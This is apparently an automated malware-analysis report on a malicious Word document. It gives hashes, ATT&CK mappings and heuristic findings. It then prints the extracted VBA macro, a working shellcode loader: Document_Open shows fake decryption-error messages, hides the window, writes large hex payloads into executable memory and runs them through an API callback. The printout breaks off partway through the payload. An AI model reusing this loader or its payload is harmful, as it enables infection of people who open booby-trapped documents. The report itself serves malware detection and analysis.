Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 70d44165f308accc…

MALICIOUS

Office (OLE)

6.42 MB Created: 2018-05-15 00:45:00 First seen: 2020-01-07
MD5: 56cbbea8535c0e8ae967fcdec17db491 SHA-1: 2829de0b258610b9e3279343661700ca16694a45 SHA-256: 70d44165f308acccfa77bfb60a7592fdd38c03e2a403745effec31e3fffdc3e4
178 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of ShellExecute and VirtualAlloc APIs, suggesting the execution of arbitrary code. The presence of an AutoOpen macro further supports the malicious intent. The ClamAV detection name 'Doc.Malware.Valyria-10023899-0' strongly indicates a known malware variant.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10023899-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10023899-0
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
'
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4150200 bytes
SHA-256: ce9b943f06283048c9ced0d7ff3024ebdbaf12a8edf5bb6c680767dc18f0eb8f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function allocateMemory Lib "kernel32" Alias "VirtualAlloc" (ByVal lpaddr As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
    Private Declare PtrSafe Function shellExecute Lib "dbghelp" Alias "EnumerateLoadedModulesExW" (ByVal hProcess As Any, ByVal EnumLoadedModulesCallback As Any, ByVal UserContext As Any) As Long
    Private Declare PtrSafe Function getProcessHandle Lib "kernel32" Alias "GetCurrentProcess" () As Long
    Private Declare PtrSafe Function hideWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare PtrSafe Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As Any, ByVal lpWindowName As String) As Long
#Else
    Private Declare Function allocateMemory Lib "ntdll" Alias "VirtualAlloc" (ByVal lpaddr As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Sub copyMemory Lib "ntdll" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
    Private Declare Function shellExecute Lib "dbghelp" Alias "EnumerateLoadedModulesExW" (ByVal hProcess As Any, ByVal EnumLoadedModulesCallback As Any, ByVal UserContext As Any) As Long
    Private Declare Function getProcessHandle Lib "kernel32" Alias "GetCurrentProcess" () As Long
    Private Declare Function hideWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
#End If




Private Sub Document_Open()

Word.Application.Caption = "error"
Dim hwnd As Long
Dim cp As String
Dim w As Window

For Each w In Application.Windows
    Exit For
Next


ActiveDocument.PrintPreview
Dim rngFirstParagraph As Range
Dim sID As String
    Set rngFirstParagraph = ActiveDocument.Paragraphs(1).Range
    With rngFirstParagraph
        .Delete
.InsertAfter Text:="Decryption failed" & Chr(10)
.InsertAfter Text:="ErrCode:0x05" & Chr(10)
        .InsertParagraphAfter
        With .Font
            .Name = "Century"
            .Size = 12
        End With
    End With

MsgBox "Word couldn't create the work file."
ActiveDocument.ClosePrintPreview

cp = w.Caption
cp = cp + " - error"
hwnd = FindWindow(0&, cp)
hideWindow hwnd, SW_HIDE


Dim ProcessHandle As Long
Dim sShellCode As String
Dim shellLength As Long
Dim byteArray() As Byte
Dim zL As Long
zL = 0

#If VBA7 Then
'Dim rL As LongPtr
Dim memoryAddress As LongPtr
#Else
'Dim rL As Long
Dim memoryAddress As Long
#End If


ProcessHandle = getProcessHandle()

sShellCode = ShellCode()

shellLength = Len(sShellCode) / 2
ReDim byteArray(0 To shellLength)

For i = 0 To shellLength - 1

    If i = 0 Then
        pos = i + 1
    Else
        pos = i * 2 + 1
    End If
    Value = Mid(sShellCode, pos, 2)
    byteArray(i) = Val("&H" & Value)

Next

memoryAddress = allocateMemory(0&, &HEFF00, &H1000, &H40)


copyMemory ByVal memoryAddress, byteArray(0), UBound(byteArray) + 1

executeResult = shellExecute(ProcessHandle, memoryAddress, zL)

End Sub

#If Win64 Then
Private Function ShellCode1() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "40555356574154415541564157488dac24a8feffff4881ec58020000e8f30600"
    sShellCode = sShellCode + "004533f6488d1d79070000458bc6418bd6448be0803c1abf7515807c1a01af75"
    sShellCode = sShellCode + "0e807c1a02bf7507807c1a03af741148ffc241ffc04881fa102700007d0cebd4"
    sShellCode = sShellCode + "4963c04803d84883c304e8b2060000c744242047657450c7442424726f634148"
    sShellCode = sShellCode + "8bf8b84d5a0000c74424286464726566c744242c7373448874242e6639077405"
    sShellCode = sShellCode + "498bf6eb13488d5424204c8bc7488bcfe853050000488bf0488d542420488bcf"
    sShellCode = sShellCode + "4889b5a8010000c74424204c6f6164c74424244c696272c74424286172794144"
    sShellCode = sShellCode + "8874242cffd6488d542420488bcfc744242056697274c744242475616c414889"
    sShellCode = sShellCode + "4538c74424286c6c6f63448874242cffd6488d542420488bcfc7442420566972"
    sShellCode = sShellCode + "74c744242475616c46c7442428726565004c8be8ffd6488d542420488bcfc744"
    sShellCode = sShellCode + "242056697274c744242475616c504c8bf848894548c7442428726f746566c744"
    sShellCode = sShellCode + "242c6374448874242effd6be4d5a0000c74424204765744dc74424246f64756c"
    sShellCode = sShellCode + "c74424286548616e66c744242c646c448874242e488945306639377513488d54"
    sShellCode = sShellCode + "24204c8bc7488bcfe85b0400004c8bf04c89b5b80100004183fc400f82330400"
    sShellCode = sShellCode + "006639330f852a0400004863733c488d96080100004c3be20f8216040000813c"
    sShellCode = sShellCode + "1e504500000f8509040000b8002000006685441e160f84f9030000f6441e1602"
    sShellCode = sShellCode + "0f84ee030000b8f00000006639441e140f85de030000440fb7441e064533d241"
    sShellCode = sShellCode + "8bd24585c07e21488d8c1e180100008b41040301413bc40f87b7030000ffc248"
    sShellCode = sShellCode + "83c128413bd07ce7448b4c1e388b441e5433d2428d4408ff41f7f1410fafc18b"
    sShellCode = sShellCode + "f848897d204585c07e3f4c8d941e180100004d8bd8418b42f8413902410f4f02"
    sShellCode = sShellCode + "33d2410342fc428d4408ff41f7f1410fafc14863c8483bf9480f42f94983c228"
    sShellCode = sShellCode + "49ffcb75d048897d204885ff0f844203000041b94000000041b800300000488b"
    sShellCode = sShellCode + "d733c941ffd54533ed488bf84885c00f841f0300000fb74c1e068d14898b4c1e"
    sShellCode = sShellCode + "548d14d14c63c285d27e16488bd3488bc8482bd08a040a880148ffc149ffc875"
    sShellCode = sShellCode + "f3458bd566443b6c1e06734e488d8c1e18010000443969fc742f443929742a44"
    sShellCode = sShellCode + "8b49fc458bc5498bd54c03cf44392976188b410441ffc04803c28a0418428804"
    sShellCode = sShellCode + "0a48ffc2443b0172e80fb7441e0641ffc24883c128443bd07cba48635f3c4803"
    sShellCode = sShellCode + "df48895d288b83b000000085c074754439abb4000000766c488d1407eb58418b"
    sShellCode = sShellCode + "c04d8bc54883e80848d1e84c63d085c07e3e460fb74c4208b900f00000410fb7"
    sShellCode = sShellCode + "c16623c1b900a00000663bc1751a8b0a4181e1ff0f00004a8d040f4803c8488b"
    sShellCode = sShellCode + "c7482b433048010149ffc04d3bc27cc28b42044803d08b02448b4204418d0c00"
    sShellCode = sShellCode + "85c9759a8bb3900000004803f74889b5b00100008b0685c00f84e80000008b4e"
    sShellCode = sShellCode + "10448bf88b460c4803cf4c8d4d504803c74c03ff48894d40418bd5498bcd4c2b"
    sShellCode = sShellCode + "c8448a004584c0741548ffc145880401ffc248ffc04881f9000100007ce381fa"
    sShellCode = sShellCode + "000100007d0544886c0d50488d4d5041ffd64c8be04885c0750a488d4d50ff55"
    sShellCode = sShellCode + "384c8be04d8bf54d392f7456488b5d40488bb5a8010000498bc7488b0848b800"
    sShellCode = sShellCode + "000000000000800fb7d14885c87505488d543902498bccffd64885c074054989"
    sShellCode = sShellCode + "441d0049ffc64d8bee49c1e5034b8d443d004883380075c2488bb5b001000045"
    sShellCode = sShellCode + "33ed4c8bb5b80100004883c6148b064889b5b001000085c00f8520ffffff488b"
    sShellCode = sShellCode + "5d284c8b7d48488b55204c8d8da001000041b840000000488bcfff55308b7328"
    sShellCode = sShellCode + "4533c0448bdf418d5001488bcf4803f74c895b30ffd685c0751d4533c033d248"
    sShellCode = sShellCode + "8bcfffd633d241b800800000488bcf41ffd7e9bd0000008bb388000000448bbb"
    sShellCode = sShellCode + "8c000000488d04378b581c448b6024448b5020448b6818448b701433c04803df"
    sShellCode = sShellCode + "4c03e74c03d7c74424204d696372c74424246f736f66c7442428745669008bd0"
    sShellCode = sShellCode + "4585ed746f458b02448bd84c8bc8488d4424204c03c74c2bc04a8d4c0c20428a"
    sShellCode = sShellCode + "04013801750c49ffc141ffc34983f90b7ce74183fb0b7412ffc24983c204b800"
    sShellCode = sShellCode + "000000413bd572bdeb2a85d278264863c2410fb70c4485c9781a413bce73158b"
    sShellCode = sShellCode + "0c8b3bce7608418d04373bc87206488d040fffd04881c458020000415f415e41"
    sShellCode = sShellCode + "5d415c5f5e5b5dc3488bc4488958084889681048897018488978204154415541"
    sShellCode = sShellCode + "5641574963403c4c8bea4c8bc9813c08504500000f8583000000448b94088c00"
    sShellCode = sShellCode + "00004585d274768b94088800000085d2746b488d0411448b40184585c0745e44"
    sShellCode = sShellCode + "8b58208b70248b581c448b78144c03d94803f14803d9458d70ff33c94585f674"
    sShellCode = sShellCode + "3c498bed48f7dd458b2333ff4d8bc54d03e14d2be5438a0404413800750f49ff"
    sShellCode = sShellCode + "c0ffc7498d04284883f80e7ce883ff0e742affc14983c304413bce72ca33c048"
    sShellCode = sShellCode + "8b5c2428488b6c2430488b742438488b7c2440415f415e415d415cc385c978dd"
    sShellCode = sShellCode + "4863c10fb70c4685c978d2413bcf73cd8b0c8b3bca7608418d04123bc872be49"
    sShellCode = sShellCode + "8d0409ebbaccccccccccccccccccccccccccccccb8002a0a00c3e80000000058"
    sShellCode = sShellCode + "c348c7c03000000065488b00488b4060488b4018488b4010488b00488b70608b"
    sShellCode = sShellCode + "3e81e7df00df00ba4b0045003bfa75e88b7e0481e7df00df00ba52004e003bfa"
    sShellCode = sShellCode + "75d68b7e0881e7df00df00ba45004c003bfa75c48b7e0cba330032003bfa75b8"
    sShellCode = sShellCode + "488b4030c348c7c03000000065488b00488b4060488b4018488b4010488b0048"
    sShellCode = sShellCode + "8b4030c3bfafbfaf4d5a90000300000004000000ffff0000b800000000000000"
    sShellCode = sShellCode + "4000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "00000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772"
    sShellCode = sShellCode + "616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a"
    sShellCode = sShellCode + "240000000000000039d8be2c7db9d07f7db9d07f7db9d07f12cf7b7f74b9d07f"
    sShellCode = sShellCode + "12cf7a7f49b9d07f12cf4e7f7bb9d07f74c1437f7eb9d07f7db9d17f3cb9d07f"
    sShellCode = sShellCode + "12cf7f7f79b9d07f12cf4b7f7cb9d07f12cf4d7f7cb9d07f526963687db9d07f"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000005045000064860600"
    sShellCode = sShellCode + "7f4ce45a0000000000000000f00022200b020a00006c000000ba090000000000"
    sShellCode = sShellCode + "802e000000100000000000800100000000100000000200000500020000000000"
    sShellCode = sShellCode + "050002000000000000900a0000040000583e0a00020040010000100000000000"
    sShellCode = sShellCode + "0010000000000000000010000000000000100000000000000000000010000000"
    sShellCode = sShellCode + "c0c80000490000004cc200002800000000700a00b401000000600a007c050000"
    sShellCode = sShellCode + "000000000000000000800a005401000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "00800000e8010000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "2e746578740000008a6a000000100000006c0000000400000000000000000000"
    sShellCode = sShellCode + "00000000200000602e726461746100000949000000800000004a000000700000"
    sShellCode = sShellCode + "000000000000000000000000400000402e646174610000008081090000d00000"
    sShellCode = sShellCode + "0060090000ba0000000000000000000000000000400000c02e70646174610000"
    sShellCode = sShellCode + "7c05000000600a0000060000001a0a0000000000000000000000000040000040"
    sShellCode = sShellCode + "2e72737263000000b401000000700a000002000000200a000000000000000000"
    sShellCode = sShellCode + "00000000400000402e72656c6f6300005c07000000800a000008000000220a00"
    sShellCode = sShellCode + "0000000000000000000000004000004200000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "0000000000000000000000000000000000000000000000000000000000000000"
    sShellCode = sShellCode + "000000000000000048894c2408554154415641574883ec088b050a2f0a0041be"
    sShellCode = sShellCode + "010000004c8d054f1e0a0085c04c892c244c8bd1410f44c64533ed4c8bf9c781"
    sShellCode = sShellCode + "000200000e0000004c8be1488d2db6efffff458bcd8905cd2e0a004d2bd06666"
    sShellCode = sShellCode + "0f1f840000000000428d048d0000000041ffc14983c0044863c8410fb640fb0f"
    sShellCode = sShellCode + "b69429702e0a00c1e2080bd0410fb640fcc1e2080bd0410fb640fdc1e2080bd0"
    sShellCode = sShellCode + "43895402fc4183f9087cbd418b870002000048895c2438488974244048897c24"
    
    ShellCode1 = sShellCode
End Function

Private Function ShellCode2() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "4883f80a0f84c203000083f80c0f843c01000083f80e0f85500600004c8d1dc5"
    sShellCode = sShellCode + "ab0000488d1ddaab00006666666666660f1f840000000000458b54241c4983c3"
    sShellCode = sShellCode + "044983c420418bc2c1e8100fb6c8418bc20fb69429a09a0000c1e8080fb6c8c1"
    sShellCode = sShellCode + "e2080fb68429a09a000033d0410fb6c20fb68428a09a0000c1e20833d0418bc2"
    sShellCode = sShellCode + "c1e818c1e2080fb6c80fb68429a09a0000418b4c24e833d0418b4424e4413354"
    sShellCode = sShellCode + "24e0413353fc33c241891424418b5424ec33c8418944240433d141894c240841"
    sShellCode = sShellCode + "8954240c8bc2c1e8180fb6c88bc2c1ea08440fb68429a09a0000c1e8100fb6c8"
    sShellCode = sShellCode + "41c1e0080fb68429a09a0000418b4c24f84433c00fb6c20fb68428a09a000041"
    sShellCode = sShellCode + "c1e0084433c0410fb644240c0fb68428a09a000041c1e0084433c0418b4424f4"
    sShellCode = sShellCode + "45334424f04133c0458944241033c841894424144433d141894c241845895424"
    sShellCode = sShellCode + "1c4c3bdb0f8ceefeffffe91d0500004c8d3596aa00004c8d3dafaa0000666666"
    sShellCode = sShellCode + "0f1f840000000000418b542414458b54240c458b442404458b5c24108bc2c1e8"
    sShellCode = sShellCode + "100fb6c88bc20fb6b429a09a0000c1e8080fb6c8c1e6080fb68429a09a000033"
    sShellCode = sShellCode + "f00fb6c20fb68428a09a0000c1e60833f08bc2c1e818c1e6080fb6c80fb68429"
    sShellCode = sShellCode + "a09a000033f0413376fc413334244433c64189742418458944241c458bc84533"
    sShellCode = sShellCode + "4c240845894c24204533d145895424244533da45895c2428418bdb33da41895c"
    sShellCode = sShellCode + "242c8bc3c1e8100fb6c88bc30fb6bc29a09a0000c1e8080fb6c8c1e7080fb684"
    sShellCode = sShellCode + "29a09a000033f80fb6c30fb68428a09a0000c1e70833f88bc3c1e818c1e7080f"
    sShellCode = sShellCode + "b6c80fb68429a09a000033f841333e33fe8bd741897c24304133d0448bc24189"
    sShellCode = sShellCode + "5424344533c1458bc845894424384533ca4c8d15d0ecffff418be945894c243c"
    sShellCode = sShellCode + "4133eb8bf541896c244033f38bc64189742444c1e8100fb6c8420fb69c11a09a"
    sShellCode = sShellCode + "00008bc64983c610c1e808c1e3084983c4600fb6c8420fb68411a09a000033d8"
    sShellCode = sShellCode + "400fb6c6420fb68410a09a0000c1e30833d88bc6c1e818c1e3080fb6c8420fb6"
    sShellCode = sShellCode + "8411a09a000033d841335ef433df41895c24e8448bd34433d245895424ec458b"
    sShellCode = sShellCode + "da4533d845895c24f0458bc34533c14c8d0d32ecffff45894424f44133e833f5"
    sShellCode = sShellCode + "41896c24f841897424fc8bc6c1e8100fb6c88bc6420fb69409a09a0000c1e808"
    sShellCode = sShellCode + "c1e2080fb6c8420fb68409a09a000033d0400fb6c6420fb68408a09a0000c1e2"
    sShellCode = sShellCode + "0833d08bc6c1e208c1e8180fb6c8420fb68409a09a000033d0413356f833d341"
    sShellCode = sShellCode + "8914244133d24433da41895424044533c345895c24084133e8458944240c33f5"
    sShellCode = sShellCode + "41896c2410488d2d9cebffff41897424144d3bf70f8caefdffff41be01000000"
    sShellCode = sShellCode + "488d2d81ebffffe99b020000488d3519a800004c8d3d3aa80000666666666666"
    sShellCode = sShellCode + "0f1f840000000000458b5c240c418b542404418bc3c1e8100fb6c8418bc3440f"
    sShellCode = sShellCode + "b68c29a09a0000c1e8080fb6c841c1e1080fb68429a09a00004433c8410fb6c3"
    sShellCode = sShellCode + "0fb68428a09a000041c1e1084433c8418bc3c1e81841c1e1080fb6c80fb68429"
    sShellCode = sShellCode + "a09a00004433c844334efc45330c2445894c24104133d14189542414448bc245"
    sShellCode = sShellCode + "334424084533d8458944241845895c241c418bc3c1e8100fb6c8418bc3440fb6"
    sShellCode = sShellCode + "9429a09a0000c1e8080fb6c841c1e2080fb68429a09a00004433d0410fb6c30f"
    sShellCode = sShellCode + "b68428a09a000041c1e2084433d0418bc3c1e81841c1e2080fb6c80fb68429a0"
    sShellCode = sShellCode + "9a00004433d04533d14433164589542420458bca4433ca45894c2424418bf941"
    sShellCode = sShellCode + "33f84433df41897c242845895c242c418bc3c1e8100fb6c8418bc3440fb68429"
    sShellCode = sShellCode + "a09a0000c1e8080fb6c841c1e0080fb68429a09a00004433c0410fb6c30fb684"
    sShellCode = sShellCode + "28a09a000041c1e0084433c0418bc341c1e008c1e8180fb6c80fb68429a09a00"
    sShellCode = sShellCode + "004883c6144983c4504433c0443346f04533c245894424e0418bd04133d14189"
    sShellCode = sShellCode + "5424e433fa41897c24e8448bd74533d345895424ec418bc2c1e8100fb6c8418b"
    sShellCode = sShellCode + "c20fb69c29a09a0000c1e8080fb6c8c1e3080fb68429a09a000033d8410fb6c2"
    sShellCode = sShellCode + "0fb68428a09a0000c1e30833d8418bc2c1e818c1e3080fb6c80fb68429a09a00"
    sShellCode = sShellCode + "0033d8335ef44133d841895c24f0448bdb4433da45895c24f4458bcb4433cf45"
    sShellCode = sShellCode + "894c24f8458bc14533c245894424fc418bc0c1e8100fb6c8418bc00fb69429a0"
    sShellCode = sShellCode + "9a0000c1e808c1e2080fb6c80fb68429a09a000033d0410fb6c00fb68428a09a"
    sShellCode = sShellCode + "0000c1e20833d0418bc0c1e208c1e8180fb6c80fb68429a09a000033d03356f8"
    sShellCode = sShellCode + "33d3418914244133d341895424044133d141895424084133d0418954240c493b"
    sShellCode = sShellCode + "f70f8c81fdffff4c8b7c243044392df9270a00488b7c2448488b742440488b5c"
    sShellCode = sShellCode + "24380f852c010000410fb68c2da09a00004983c5048b848da0ac0000428984ad"
    sShellCode = sShellCode + "20470a008b848da0b00000428984ad20430a008b848da0b40000428984ad203f"
    sShellCode = sShellCode + "0a008b848da0b80000410fb68c2d9d9a0000428984ad204b0a008b848da0ac00"
    sShellCode = sShellCode + "00428984ad24470a008b848da0b00000428984ad24430a008b848da0b4000042"
    sShellCode = sShellCode + "8984ad243f0a008b848da0b80000410fb68c2d9e9a0000428984ad244b0a008b"
    sShellCode = sShellCode + "848da0ac0000428984ad28470a008b848da0b00000428984ad28430a008b848d"
    sShellCode = sShellCode + "a0b40000428984ad283f0a008b848da0b80000410fb68c2d9f9a0000428984ad"
    sShellCode = sShellCode + "284b0a008b848da0ac0000428984ad2c470a008b848da0b00000428984ad2c43"
    sShellCode = sShellCode + "0a008b848da0b40000428984ad2c3f0a008b848da0b80000428984ad2c4b0a00"
    sShellCode = sShellCode + "4981fd000100000f8cdbfeffff448935b8260a00418b04244c8b2c244d8d9700"
    sShellCode = sShellCode + "010000418902418b4424044983c210418942f4418b4424084983c410418942f8"
    sShellCode = sShellCode + "418b4424fc418942fc4183bf00020000010f8e3d01000090458b4c24e041ffc6"
    sShellCode = sShellCode + "4983c210418bc14983c4f0c1e8180fb6d0418bc141c1e908448b849530470a00"
    sShellCode = sShellCode + "c1e8100fb6c8410fb6c14433848d30430a0044338485303f0a00410fb64424f0"
    sShellCode = sShellCode + "44338485304b0a00458942f0458b4c24f4418bc1c1e8180fb6d0418bc141c1e9"
    sShellCode = sShellCode + "08448b849530470a00c1e8100fb6c8410fb6c14433848d30430a004433848530"
    sShellCode = sShellCode + "3f0a00410fb64424f444338485304b0a00458942f4458b4c24f8418bc1c1e818"
    sShellCode = sShellCode + "0fb6d0418bc141c1e908448b849530470a00c1e8100fb6c8410fb6c14433848d"
    sShellCode = sShellCode + "30430a0044338485303f0a00410fb64424f844338485304b0a00458942f8458b"
    sShellCode = sShellCode + "4c24fc418bc1c1e8180fb6d0418bc141c1e908448b849530470a00c1e8100fb6"
    sShellCode = sShellCode + "c8410fb6c14433848d30430a0044338485303f0a00410fb64424fc4433848530"
    sShellCode = sShellCode + "4b0a00458942fc453bb7000200000f8cc4feffff418b4424e0418902418b4424"
    sShellCode = sShellCode + "e441894204418b4424e841894208418b4424ec4189420c4883c408415f415e41"
    sShellCode = sShellCode + "5c5dc3cccccccccc48895c240848896c2410488974241848897c242041544155"
    sShellCode = sShellCode + "415641570fb642010fb63a440fb65a04440fb64a084c8da900010000c1e7080b"
    sShellCode = sShellCode + "f80fb6420241c1e3084d8bf8440fb6420c41c1e1084c8d258ce5ffff41c1e008"
    sShellCode = sShellCode + "c1e7080bf80fb64203488be9c1e7080bf80fb6420541337d00440bd80fb64206"
    sShellCode = sShellCode + "41c1e308440bd80fb6420741c1e308440bd80fb6420945335d04440bc80fb642"
    sShellCode = sShellCode + "0a41c1e108440bc80fb6420b41c1e108440bc80fb6420d45334d08440bc00fb6"
    sShellCode = sShellCode + "420e41c1e008440bc00fb6420f41c1e008440bc04533450c418bc0c1e8100fb6"
    sShellCode = sShellCode + "d0418bc1418bb494a0b00000c1e8080fb6c88bc74133b48ca0b40000c1e8180f"
    sShellCode = sShellCode + "b6c8410fb6c34133b48ca0ac00004133b484a0b80000418bc041337510c1e808"
    sShellCode = sShellCode + "0fb6d0418bc3418b9c94a0b40000c1e8180fb6c88bc741339c8ca0ac0000c1e8"
    sShellCode = sShellCode + "100fb6c8410fb6c141339c8ca0b0000041339c84a0b80000418bc141335d14c1"
    sShellCode = sShellCode + "e8180fb6d0458b9494a0ac0000418bc341c1e910c1e81041c1eb080fb6c88bc7"
    sShellCode = sShellCode + "4533948ca0b00000c1e8080fb6c8410fb6c041c1e8184533948ca0b40000410f"
    sShellCode = sShellCode + "b6c845339484a0b80000458b848ca0ac0000410fb6c145338484a0b000004533"
    sShellCode = sShellCode + "5518410fb6c345338484a0b40000400fb6c745338484a0b800004533451c418b"
    sShellCode = sShellCode + "c0c1e8100fb6d0418bc2418bbc94a0b00000c1e8080fb6c88bc64133bc8ca0b4"
    sShellCode = sShellCode + "0000c1e8180fb6c80fb6c34133bc8ca0ac00004133bc84a0b80000418bc04133"
    sShellCode = sShellCode + "7d20c1e8080fb6d08bc3458b9c94a0b40000c1e8180fb6c88bc645339c8ca0ac"
    sShellCode = sShellCode + "0000c1e8100fb6c8410fb6c245339c8ca0b0000045339c84a0b80000418bc241"
    sShellCode = sShellCode + "c1ea1045335d24c1e8180fb6d08bc3c1eb08458b8c94a0ac0000c1e8100fb6c8"
    sShellCode = sShellCode + "8bc645338c8ca0b00000c1e8080fb6c8410fb6c041c1e81845338c8ca0b40000"
    sShellCode = sShellCode + "410fb6c845338c84a0b80000458b848ca0ac0000410fb6c245338484a0b00000"
    sShellCode = sShellCode + "45334d280fb6c345338484a0b40000400fb6c645338484a0b800004533452c41"
    sShellCode = sShellCode + "8bc0c1e8100fb6d0418bc1418bb494a0b00000c1e8080fb6c88bc74133b48ca0"
    sShellCode = sShellCode + "b40000c1e8180fb6c8410fb6c34133b48ca0ac00004133b484a0b80000418bc0"
    
    ShellCode2 = sShellCode
End Function

Private Function ShellCode3() As String
    Dim sShellCode As String
    
    sShellCode = ""
    sShellCode = sShellCode + "41337530c1e8080fb6d0418bc3418b9c94a0b40000c1e8180fb6c88bc741339c"
    sShellCode = sShellCode + "8ca0ac0000c1e8100fb6c8410fb6c141339c8ca0b0000041339c84a0b8000041"
    sShellCode = sShellCode + "8bc141c1e91041335d34c1e8180fb6d0418bc341c1eb08458b9494a0ac0000c1"
    sShellCode = sShellCode + "e8100fb6c88bc74533948ca0b00000c1e8080fb6c8410fb6c041c1e818453394"
    sShellCode = sShellCode + "8ca0b40000410fb6c845339484a0b80000458b848ca0ac0000410fb6c1453384"
    sShellCode = sShellCode + "84a0b0000045335538410fb6c345338484a0b40000400fb6c745338484a0b800"
    sShellCode = sShellCode + "004533453c418bc0c1e8100fb6d0418bc2418bbc94a0b00000c1e8080fb6c88b"
    sShellCode = sShellCode + "c64133bc8ca0b40000c1e8180fb6c80fb6c34133bc8ca0ac00004133bc84a0b8"
    sShellCode = sShellCode + "0000418bc041337d40c1e8080fb6d08bc3458b9c94a0b40000c1e8180fb6c88b"
    sShellCode = sShellCode + "c645339c8ca0ac0000c1e8100fb6c8410fb6c245339c8ca0b0000045339c84a0"
    sShellCode = sShellCode + "b80000418bc241c1ea1045335d44c1e8180fb6d08bc3c1eb08458b8c94a0ac00"
    sShellCode = sShellCode + "00c1e8100fb6c88bc645338c8ca0b00000c1e8080fb6c8410fb6c041c1e81845"
    sShellCode = sShellCode + "338c8ca0b40000410fb6c845338c84a0b80000458b848ca0ac0000410fb6c245"
    sShellCode = sShellCode + "338484a0b0000045334d480fb6c345338484a0b40000400fb6c645338484a0b8"
    sShellCode = sShellCode + "00004533454c418bc0c1e8100fb6d0418bc1418bb494a0b00000c1e8080fb6c8"
    sShellCode = sShellCode + "8bc74133b48ca0b40000c1e8180fb6c8410fb6c34133b48ca0ac00004133b484"
    sShellCode = sShellCode + "a0b80000418bc041337550c1e8080fb6d0418bc3418b9c94a0b40000c1e8180f"
    sShellCode = sShellCode + "b6c88bc741339c8ca0ac0000c1e8100fb6c8410fb6c141339c8ca0b000004133"
    sShellCode = sShellCode + "9c84a0b80000418bc141335d54c1e8180fb6d0418bc3458b9494a0ac0000c1e8"
    sShellCode = sShellCode + "100fb6c88bc74533948ca0b00000c1e8080fb6c8410fb6c041c1e8184533948c"
    sShellCode = sShellCode + "a0b40000410fb6c845339484a0b800004533555841c1e910458b848ca0ac0000"
    sShellCode = sShellCode + "410fb6c141c1eb0845338484a0b00000410fb6c345338484a0b40000400fb6c7"
    sShellCode = sShellCode + "45338484a0b800004533455c418bc0c1e8100fb6d0418bc2418bbc94a0b00000"
    sShellCode = sShellCode + "c1e8080fb6c88bc64133bc8ca0b40000c1e8180fb6c80fb6c34133bc8ca0ac00"
    sShellCode = sShellCode + "004133bc84a0b80000418bc041337d60c1e8080fb6d08bc3458b9c94a0b40000"
    sShellCode = sShellCode + "c1e8180fb6c88bc645339c8ca0ac0000c1e8100fb6c8410fb6c245339c8ca0b0"
